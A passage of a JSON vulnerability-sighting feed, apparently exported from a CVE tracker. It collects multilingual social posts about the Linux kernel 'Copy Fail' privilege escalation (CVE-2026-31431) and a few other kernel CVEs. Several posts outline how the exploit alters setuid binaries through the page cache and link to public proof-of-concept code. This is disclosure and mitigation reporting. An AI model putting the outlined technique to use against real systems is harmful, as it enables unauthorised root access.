"CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/epowo-uzata.mast.qixto.com.ap.brid.gy/post/3mkotgggappl2", "content": "Linux-ytimen virhe mahdollistaa 10-rivisen p\u00e4\u00e4k\u00e4ytt\u00e4j\u00e4n oikeuksien hy\u00f6dynt\u00e4misen Paikallisen oikeuksien eskalointihaavoittuvuus, nimelt\u00e4\u00e4n Copy Fail (CVE-2026-31431)\n\nhttps://www.theregister.com/2026/04/30/linux_cryptographic_code_flaw/", "creation_timestamp": "2026-04-30T05:01:53.898893Z"}, {"uuid": "7fe92ba3-8f07-4a4b-a72f-d70d35773196", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mkovsybku62y", "content": "Linux Kernel \u201cCopy Fail\u201d Zero-Day Exposes Millions of Systems to Instant Root\u00a0Access\n\nIntroduction A newly disclosed Linux kernel vulnerability is raising serious alarms across the cybersecurity world. Tracked as CVE-2026-31431 and nicknamed Copy Fail, the flaw allows any unprivileged local user to\u2026", "creation_timestamp": "2026-04-30T05:43:34.505561Z"}, {"uuid": "2796648a-26cd-49d1-b145-6407bf23a5e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/aprosdoketon.bsky.social/post/3mkozudv6u226", "content": "CVE-2026-31431 \u043f\u0456\u0434\u0432\u0438\u0449\u0435\u043d\u043d\u044f \u043f\u0440\u0438\u0432\u0456\u043b\u0435\u0457\u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0443 \u043b\u0456\u043d\u0443\u043a\u0441\u0456, \u0437 2017-\u0433\u043e \u0440\u043e\u043a\u0443 \u0434\u043e \u0441\u044c\u043e\u0433\u043e\u0434\u043d\u0456", "creation_timestamp": "2026-04-30T06:55:54.503883Z"}, {"uuid": "62994e63-2259-4908-8f71-f813c137814e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/isAutonomous.karlsruhe-social.de.ap.brid.gy/post/3mkp2l43g5q72", "content": "@giggls Verdammt, ja. Das ist die richtige ID:\nhttps://euvd.enisa.europa.eu/vulnerability/CVE-2026-31431\n\nDie Bezeichnungen bei den Europ\u00e4ern sind irritierend. Warum m\u00fcssen die eigene Nummern vergeben?\n\"EUVD-2026-24639\"", "creation_timestamp": "2026-04-30T07:08:39.517074Z"}, {"uuid": "d82099a4-83ae-4417-8cdf-1a3fda3addb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/adriend.linuxtricks.fr/post/3mkp2kqi6ts2y", "content": "Au boulot, exploit impossible, l'EDR g\u00e8re le truc.\nOUF ! \n\nsuccessfully killed the threat copy_fail_exp.py on Thu, 30 Apr 2026, 06:40:56 UTC.\nThreat path: /home/test/copy-fail-CVE-2026-31431/copy_fail_exp.py", "creation_timestamp": "2026-04-30T07:08:57.627559Z"}, {"uuid": "5f370959-431e-4dee-9a86-55ac07b0beb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mkp35z5p4l2l", "content": "\u300cCopy Fail\u300dCVE-2026-31431 \u2014 9\u5e74\u9593\u6f5c\u3093\u3067\u3044\u305f732\u30d0\u30a4\u30c8Python\u3067Linux\u304croot\u5316\u3055\u308c\u308b\u8106\u5f31\u6027\u3068\u5bfe\u7b56\uff5czephel01\nhttps://note.com/zephel01/n/n7fa6564b43cf", "creation_timestamp": "2026-04-30T07:19:13.256066Z"}, {"uuid": "a38f084c-b0e8-4af8-9434-15baed1c10bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/cert_eu/statuses/116492956743147474", "content": "High Vulnerability in the Linux Kernel (\"Copy Fail\") (CERT-EU Security Advisory 2026-005)\nOn 29 April 2026, a high local privilege escalation vulnerability in the Linux kernel, tracked as CVE-2026-31431 and named \"Copy Fail\", was publicly disclosed.\nThe vulnerability affects every mainstream Linux distributions shipping a kernel built since 2017. A public proof-of-concept exploit has been released.As of the date of this advisory, no distribution has shipped a fixed kernel package. The mainline fix was committed on 1 April 2026, but vendor updates are still pending across all major distributions. \nCERT-EU strongly recommends applying the interim mitigation immediately, prioritising Kubernetes nodes, and CI/CD runners exposed to untrusted workloads.\nhttps://www.cert.europa.eu/publications/security-advisories/2026-005/", "creation_timestamp": "2026-04-30T09:30:55.246235Z"}, {"uuid": "256a183d-3053-4c12-9052-bfb3a9dadd2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mkpcnuzk3e2q", "content": "A local privilege escalation vulnerability in the Linux kernel, dubbed Copy Fail (CVE-2026-31431), allows unprivileged users to gain root access by modifying the page cache of readable files. This flaw affects major Linux distributions, including Debian, Ubuntu, and SUSE, which have issued patches.", "creation_timestamp": "2026-04-30T09:33:22.106362Z"}, {"uuid": "858d1fb3-37e2-47fc-9fb9-a3d9df425934", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mkpcsszf2me2", "content": "New Linux 'Copy Fail' Vulnerability Enables Root Access on Major Distributions TheHackerNews CVE-2026-31431 CVSS 7.8 flaw since 2017 enables root via 732-byte exploit, impacting major Linux...\n\n#Security #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T09:40:22.366285Z"}, {"uuid": "64b969d9-58df-4aa4-9f79-5720d2aafc59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://social.tchncs.de/users/gborn/statuses/116493037293455809", "content": "Wer ein Linux betreibt, auf dem viele Nutzer ein Konto haben, sollte bzgl. der #CopyFail Schwachstelle CVE-2026-31431 reagieren.\nhttps://borncity.com/blog/2026/04/30/linux-schwachstelle-copy-fail-cve-2026-31431-erlaubt-rooting/", "creation_timestamp": "2026-04-30T09:51:24.479831Z"}, {"uuid": "341728e2-48d4-44dd-a5b4-570e3209606a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/etguenni.bsky.social/post/3mkpdojsvj22l", "content": "Wer ein Linux betreibt, auf dem viele Nutzer ein Konto haben, sollte bzgl. der #CopyFail Schwachstelle CVE-2026-31431 reagieren.\n\nborncity.com/blog/2026/04...", "creation_timestamp": "2026-04-30T09:51:42.469127Z"}, {"uuid": "6d7f3482-874b-4bf0-b89c-096b01a74a4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pbloem.sigmoid.social.ap.brid.gy/post/3mkpdvdrqk7q2", "content": "So, copy.fail was found with one hour of AI assistance, and would (according to this article) have earned $500K on the open market not too long ago.\n\nhttps://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/\n\nI'm no security researcher, but this kind of contradicts all those [\u2026]", "creation_timestamp": "2026-04-30T09:55:34.222493Z"}, {"uuid": "7df0219e-8b41-42c2-ac6f-7cba7769e307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/decio/statuses/116493067934486304", "content": "[VULN] \u26a0\ufe0f\"Copy Fail - Une IA trouve la faille Linux que personne n'a vue\"\" * Copy Fail (CVE-2026-31431) est une faille Linux qui permet de passer de simple utilisateur \u00e0 root en 732 octets, affectant la quasi-totalit\u00e9 des kernels non patch\u00e9s depuis 2017, d\u00e9couverte par une IA en une heure.\n\nLa faille exploite une optimisation de 2017 dans le sous-syst\u00e8me crypto qui laisse un fichier en lecture seule accessible en zone modifiable, permettant de modifier progressivement un binaire syst\u00e8me via l'appel splice().\nDeux solutions de protection existent : patcher le kernel via la distro ou d\u00e9sactiver le module algif_aead (ou bloquer le sous-syst\u00e8me crypto via seccomp si le module est int\u00e9gr\u00e9 en dur).\"\ud83d\udc47 https://korben.info/copy-fail-faille-kernel-linux-decouverte-ia.html\nDemo / exploit ( via @bortzmeyer  )\ud83d\udc47 https://www.bortzmeyer.org/copyfail.html\n\ud83d\udd0d \u2b07\ufe0f https://vulnerability.circl.lu/vuln/CVE-2026-31431\n\ud83d\udcac \u2b07\ufe0f https://infosec.pub/post/45735124\n#CyberVeille  #CVE_2026_31431", "creation_timestamp": "2026-04-30T09:59:11.467521Z"}, {"uuid": "caea055e-b98a-40fc-962a-e44a9cd4b987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31786", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116493484699827862", "content": "The severity is increased for this new vulnerability affecting Linux Kernel (CVE-2026-31786) https://vuldb.com/vuln/360294", "creation_timestamp": "2026-04-30T11:45:10.658478Z"}, {"uuid": "117855a9-2d27-49f2-a6a7-2c63aaeed452", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mkpe6c6sob2w", "content": "\ud83d\udce2 CVE-2026-31431 ' Copy Fail ' : escalade de privil\u00e8ges root en 732 octets sur toutes les distributions Linux majeures\n\ud83d\udcdd ## \ud83d\udd0d \u2026\nhttps://cyberveille.ch/posts/2026-04-30-cve-2026-31431-copy-fail-escalade-de-privileges-root-en-732-octets-sur-toutes-les-distributions-linux-majeures/ #AF_ALG #Cyberveille", "creation_timestamp": "2026-04-30T10:00:30.775814Z"}, {"uuid": "12938e02-e884-4e2b-8e2c-a76ceccbf3ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://vulnerability.circl.lu/comment/015dc7f6-33e1-49b4-af56-d27f0111165a", "content": "", "creation_timestamp": "2026-04-30T10:07:37.566466Z"}, {"uuid": "4921249e-f608-47dd-97c5-1bde251f66ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/egghat.mastodon.social.ap.brid.gy/post/3mkpejaxv75w2", "content": "Oops.\n\n\u201eIf your kernel was built between 2017 and the patch \u2014 which covers essentially every mainstream Linux distribution \u2014 you're in scope.\u201c\n\nCopy Fail \u2014 CVE-2026-31431 https://copy.fail/\n#BadNews", "creation_timestamp": "2026-04-30T10:06:38.752696Z"}, {"uuid": "d5e51604-ebc9-4aaa-bae2-901046fc723b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mueritz98.bsky.social/post/3mkpepdc5l22p", "content": "This blog from #XintCode Research Team is absolut brilliant! Their #CopyFail exploit on CVE-2026-31431 is simply fascinating. A must read detail on their description of the route to \"732 Bytes to #Root on Every Major #Linux Distribution\" #Cyber #CVE \n\nxint.io/blog/copy-fa...", "creation_timestamp": "2026-04-30T10:10:00.533494Z"}, {"uuid": "188366c0-9671-453e-9d60-f54b8161f9a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3mkperxdnzkx2", "content": "Copy-fail-destroyer: K8s remediation for CVE-2026-31431 Article URL: https://github.com/NorskHelsenett/copy-fail-destroyer Comments URL: https://news.ycombinator.com/item?id=47960232 Points: 1 # Co...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T10:11:29.000132Z"}, {"uuid": "5be6d455-e9c0-4488-9512-0e62aee958d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mkpey2aqeq2s", "content": "Linux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u300cCopyFail (CVE-2026-31431)\u300d\u3092EC2\u306eUbuntu 22.04\u3067\u5b9f\u8a3c\u3057\u3066\u307f\u305f\nhttps://zenn.dev/aeyesec/articles/7e4a1e3c83e81b", "creation_timestamp": "2026-04-30T10:14:52.493977Z"}, {"uuid": "f3c802fc-4aa8-4192-abb0-2628993aa5f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mkpf4u2awz27", "content": "Linux\u30ab\u30fc\u30cd\u30eb\u306e\u300cCopy Fail\u300d\u30ed\u30b8\u30c3\u30af\u6b20\u9665\u304c\u30b7\u30b9\u30c6\u30e0\u4e57\u3063\u53d6\u308a\u3092\u53ef\u80fd\u306b\u3059\u308b\n\nLinux\u30ab\u30fc\u30cd\u30eb\u306e\u9ad8\u91cd\u5ea6\u30ed\u30b8\u30c3\u30af\u30d0\u30b0\u306b\u3088\u308a\u3001\u6a29\u9650\u306e\u306a\u3044\u653b\u6483\u8005\u304c\u4ed6\u306e\u30d5\u30a1\u30a4\u30eb\u306e\u30e1\u30e2\u30ea\u306b\u30b3\u30fc\u30c9\u3092\u66f8\u304d\u8fbc\u3093\u3067root\u30b7\u30a7\u30eb\u3092\u53d6\u5f97\u3067\u304d\u308b\u3068\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4f01\u696dTheori\u304c\u5831\u544a\u3057\u3066\u3044\u307e\u3059\u3002 CVE-2026-31431\uff08CSS\u30b9\u30b3\u30a27.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3001Copy Fail\u3068\u547c\u3070\u308c\u308b\u3053\u306e\u554f\u984c\u306f\u30012017\u5e74\u4ee5\u964d\u306e\u3059\u3079\u3066", "creation_timestamp": "2026-04-30T10:17:31.438988Z"}, {"uuid": "4c0e5339-bd39-44bb-83c5-a662e6f61d16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mkpfjfo7dj2b", "content": "CVE-2026-31431 (Copy Fail) detection toolkit \u2014 auditd, eBPF, Sigma, YARA", "creation_timestamp": "2026-04-30T10:24:32.420194Z"}, {"uuid": "462bf239-cb9b-4fa0-a6a6-38d4aab94afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Atirut.toot.community.ap.brid.gy/post/3mkpfmr4vdq22", "content": "PSA for sysadmins: https://master.almalinux-org.pages.dev/blog/2026-04-30-cve-2026-31431-copy-fail/\n\nTL;DR anyone with an unpriviledged shell can become root with a small exploit. One mean fucker, so be sure to update ASAP once available if you're within blast radius.\n\n#sysadmin #Linux #psa #cve", "creation_timestamp": "2026-04-30T10:26:30.628454Z"}, {"uuid": "aa4dbe63-f37a-4367-90b3-3755ff3280c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/me.social.k3can.us.ap.brid.gy/post/3mkpgawanojw2", "content": "CVE-2026-31431. A logic flaw in `authencesn` appears to enable privilege escalation on nearly every #Linux distro between 2017 and now.\n\n#CopyFail \u2014 CVE-2026-31431\nhttps://copy.fail/\n\nhttps://github.com/theori-io/copy-fail-CVE-2026-31431/issues", "creation_timestamp": "2026-04-30T10:37:48.891785Z"}, {"uuid": "c75d0467-44d0-42a3-a63d-4bd852152809", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/techimo.bsky.social/post/3mkpj7jyqhu22", "content": "Linux kernel \"Copy Fail\" (CVE-2026-31431) vulnerability found! Unprivileged local users can write 4 bytes to file page cache. Exploit: python script alters setuid binaries for root access. Also affects containers. Fix: Revert 2017 optimization. Source: xint.io", "creation_timestamp": "2026-04-30T11:30:36.711223Z"}, {"uuid": "291a2775-e8aa-44a6-8a27-819cab5198ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hnws.bsky.social/post/3mkpjirtdvh22", "content": "Copy-fail-destroyer: K8s remediation for CVE-2026-31431\nL: https://github.com/NorskHelsenett/copy-fail-destroyer\nC: https://news.ycombinator.com/item?id=47960232\nposted on 2026.04.30 at 05:49:59 (c=0, p=4)", "creation_timestamp": "2026-04-30T11:35:47.032738Z"}, {"uuid": "e7842974-7a3d-42b3-8e7a-097bcfdcaa0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/news.karthihegde.dev/post/3mkpjjqwgwj2h", "content": "Copy-fail-destroyer: K8s remediation for CVE-2026-31431\nDiscussion | hackernews | Author: evenh", "creation_timestamp": "2026-04-30T11:36:19.452406Z"}, {"uuid": "0a31b12d-0d9e-41e3-81a6-23e34aeaa48a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/echobit.de/post/3mkpkcqm44c2n", "content": "Aktuell kursieren Meldungen zur Linux-Schwachstelle CVE-2026-31431 (\u201eCopy Fail\u201c). Die Darstellung wirkt teils sehr alarmistisch \u2013 deshalb kurz die Einordnung:\n\nJa, es handelt sich um eine echte Sicherheitsl\u00fccke im Kernel (betreffend u. a. das algif_aead-Modul).", "creation_timestamp": "2026-04-30T11:50:18.121733Z"}, {"uuid": "e366ed11-f7bc-46f9-ab24-5fdc5a9d797c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mkpkefy2fs2y", "content": "Nine-year-old Linux kernel flaw enables reliable local privilege escalation (CVE-2026-31431)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/04/30/c...\n\n#cybersecurity #cybersecuritynews #containers #PoC #Linux", "creation_timestamp": "2026-04-30T11:51:17.075644Z"}, {"uuid": "45632110-59ac-4faa-a811-d6e35576b9cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kirik.bsky.social/post/3mkpkr3reok24", "content": "\u7c21\u6f54\u304b\u3064\u4e0d\u53ef\u6b20\u306a\u3053\u3068\u306f\u5168\u90e8\u3053\u3053\u306b\u66f8\u3044\u3066\u3042\u308b\u304b\u3089\u307f\u3093\u306a\u8aad\u3093\u3067\u5373\u5bfe\u51e6\u3057\u307e\u3057\u3087\u3046\n\n\u300cCopy Fail\u300dCVE-2026-31431 \u2014 9\u5e74\u9593\u6f5c\u3093\u3067\u3044\u305f732\u30d0\u30a4\u30c8Python\u3067Linux\u304croot\u5316\u3055\u308c\u308b\u8106\u5f31\u6027\u3068\u5bfe\u7b56\uff5czephel01 @zephel01 \n\nnote.com/zephel01/n/n...", "creation_timestamp": "2026-04-30T11:58:33.055023Z"}, {"uuid": "daa5195a-86d3-46d9-85d0-b386f4d5895e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dougburks.bsky.social/post/3mkpksiwfvc2s", "content": "OhMyDebn 3.6.3 now available with Copy Fail CVE-2026-31431 exploit mitigation, OpenCode 1.14.30, and Aether 4.15.3!\n\nOhMyDebn is a debonair Linux desktop for power users. It gives you the stability of the Debian distro, the ease of use of the Cinnamon desktop, and the power of AI.", "creation_timestamp": "2026-04-30T11:59:09.244299Z"}, {"uuid": "9f97691f-a395-49db-b339-567c92c07a1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/adriend.linuxtricks.fr/post/3mkplfrh76k2x", "content": "Lundi, je vous disais : le 4 mai, on optimise Linux ( en mode serveur). Debian, Ubuntu ou RedHat (et clones) installent trop de services par d\u00e9faut souvent inutiles. \n\nLa CVE-2026-31431 (Copy Fail) va rendre ce live int\u00e9ressant !\n\nRDV Lundi 20h : twitch.tv/adrienLinuxt...", "creation_timestamp": "2026-04-30T12:09:58.542805Z"}, {"uuid": "344d757f-c97f-446a-8cf7-120fb5d81869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/koki.me/post/3mkplmw6em52c", "content": "Codize Sandbox v0.11.0 \u30ea\u30ea\u30fc\u30b9\nCopy Fail (CVE-2026-31431) \u5bfe\u7b56\u3068\u3057\u3066 AF_ALG \u3075\u3055\u3044\u3069\u3044\u305f\ngithub.com/codize-dev/s...", "creation_timestamp": "2026-04-30T12:13:53.065515Z"}, {"uuid": "eebe9c0a-e1e0-401f-a2e9-65b70bba6a1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31692", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkpntu7yhm2i", "content": "CVE-2026-31692 - rtnetlink: add missing netlink_ns_capable() check for peer netns\nCVE ID : CVE-2026-31692\n \n Published : April 30, 2026, 11:16 a.m. | 1\u00a0hour, 2\u00a0minutes ago\n \n Description : In the Linux kernel, the following vulnerability has been resolved:\n\nrtnetlink: add miss...", "creation_timestamp": "2026-04-30T12:53:33.262073Z"}, {"uuid": "f4568781-c982-424b-b4e0-4e61157ede73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mkpnvt6mi3m2", "content": "CopyFail CVE-2026-31431 mitigation with open source tool In the link I explain: 1) Very shortly and easy to understand what is this new vulnerability 2) How I use owLSM which is a open-source Linux...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T12:54:48.349929Z"}, {"uuid": "95e14702-5895-498f-9238-a773fa7a7d65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/justgeekfr.bsky.social/post/3mkpoabxvbc2p", "content": "\ud83d\udea8 Copy Fail (CVE-2026-31431) : la faille Linux qui dormait depuis 9 ans\n\n\ud83d\udc49 www.justgeek.fr/copy-fail-cv...\n\n#Linux #Cybers\u00e9curit\u00e9 #CopyFail #S\u00e9curit\u00e9 #Kernel #Vuln\u00e9rabilit\u00e9", "creation_timestamp": "2026-04-30T13:00:31.969660Z"}, {"uuid": "99a9af30-74d9-43fe-a82d-bc2d22fac68c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31786", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkpoeias3h2h", "content": "CVE-2026-31786 - Buffer overflow in drivers/xen/sys-hypervisor.c\nCVE ID : CVE-2026-31786\n \n Published : April 30, 2026, 11:16 a.m. | 1\u00a0hour, 2\u00a0minutes ago\n \n Description : In the Linux kernel, the following vulnerability has been resolved:\n\nBuffer overflow in drivers/xen/sys-h...", "creation_timestamp": "2026-04-30T13:02:50.994192Z"}, {"uuid": "602750fc-4226-46eb-ba31-8ae7d7293fbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mkpqwjz55n22", "content": "[Copy Fail] The same 732-byte Python script roots every Linux distribution shipped since 2017. https://copy.fail/ Commentaires : voir le flux Atom ouvrir dans le navigateur\n\n#cve #cybers\u00e9curit\u00e9 #kernel #linux #cve-2026-31431\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T13:48:46.788547Z"}, {"uuid": "be88e583-c741-4ac6-bc8a-b3226ed463a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31402", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mkpqzirw6z2a", "content": "\ud83d\udd17 CVE : CVE-2022-50053, CVE-2023-53539, CVE-2025-38024, CVE-2025-38180, CVE-2025-68741, CVE-2025-71238, CVE-2026-23001, CVE-2026-23097, CVE-2026-23111, CVE-2026-23193, CVE-2026-23204, CVE-2026-23216, CVE-2026-23231, CVE-2026-31402", "creation_timestamp": "2026-04-30T13:50:26.119448Z"}, {"uuid": "edbe8332-b265-46e4-b249-e84463cb1881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3mkprbvluak2y", "content": "#\ud83d\udd16\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\nLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u300cCopyFail (CVE-2026-31431)\u300d\u3092EC2\u306eUbuntu 22.04\u3067\u5b9f\u8a3c\u3057\u3066\u307f\u305f\n\n\u3053\u3093\u306b\u3061\u306f\uff01\u682a\u5f0f\u4f1a\u793e\u30a8\u30fc\u30a2\u30a4\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30e9\u30dc\u306e\u306f\u308b\u3077\u3068\u7533\u3057\u307e\u3059\u3002 \u4e00\u822c\u30e6\u30fc\u30b6\u30fc\u304c\u30b3\u30de\u30f3\u30c9\u4e00\u767a\u3067root\u3092\u53d6\u308c\u3066\u3057\u307e\u3046Linux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u3001CopyFail (CVE-2026-31431) \u304c\u8a71\u984c\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002AI\u306b\u3088\u3063\u3066\u767a\u898b\u3055\u308c\u305f\u8ad6\u7406\u30d0\u30b0\u3067\u3001\u6c5a\u3057\u3066\u3082\u554f\u984c\u306a\u3044EC2\u74b0\u5883\u3092\u4f5c\u3063\u3066\u5b9f\u969b\u306b\u691c\u8a3c\u3057\u3066\u307f\u307e\u3057\u305f\u3002 